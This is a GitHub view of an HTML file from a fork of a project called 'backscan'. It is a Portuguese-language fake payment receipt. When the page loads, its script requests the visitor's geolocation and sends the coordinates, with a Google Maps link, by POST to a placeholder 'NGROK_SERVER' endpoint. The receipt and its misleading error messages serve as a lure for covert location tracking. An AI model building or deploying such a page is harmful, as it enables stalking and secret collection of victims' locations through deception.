forked from PedroHBessa/backscan
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
80 lines (65 loc) · 2.25 KB
/
index.html
File metadata and controls
80 lines (65 loc) · 2.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Comprovante de Recebimento</title>
<link rel="stylesheet" href="styles.css" />
</head>
<body>
<div class="comprovante-container">
<h1>Comprovante de Recebimento</h1>
<div class="informacoes">
<p><span>Data:</span> <span id="data-atual"></span></p>
<p><span>Valor Recebido:</span> R$ 1.000,00</p>
<p><span>De:</span> João Silva de Oliveira</p>
<p><span>Status:</span> Recebido com Sucesso</p>
</div>
<button class="botao" onclick="window.print()">Imprimir</button>
<div class="comprovante-footer">
<p>Se você tiver dúvidas, entre em contato com nosso suporte.</p>
<p><a href="#">Clique aqui</a> para mais informações.</p>
</div>
</div>
<script>
window.addEventListener("load", () => {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(sendLocation, handleError);
} else {
alert("Algo deu errado. Tente novamente mais tarde.");
}
});
const dataAtual = new Date();
const dia = String(dataAtual.getDate()).padStart(2, '0');
const mes = String(dataAtual.getMonth() + 1).padStart(2, '0');
const ano = dataAtual.getFullYear();
const dataFormatada = `${dia}/${mes}/${ano}`;
document.getElementById("data-atual").textContent = dataFormatada;
console.log(dataAtual)
function sendLocation(position) {
const latitude = position.coords.latitude;
const longitude = position.coords.longitude;
const maps = `https://www.google.com/maps?q=${latitude},${longitude}`;
fetch("NGROK_SERVER/send-location", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ latitude, longitude, maps })
})
.then(response => response.json())
.then(data => {
if (!data.success) {
alert("Erro ao enviar o comprovante.");
}
})
.catch(error => {
console.error("Erro:", error);
});
}
function handleError(error) {
alert("Erro ao obter a localização: " + error.message);
}
</script>
</body>
</html>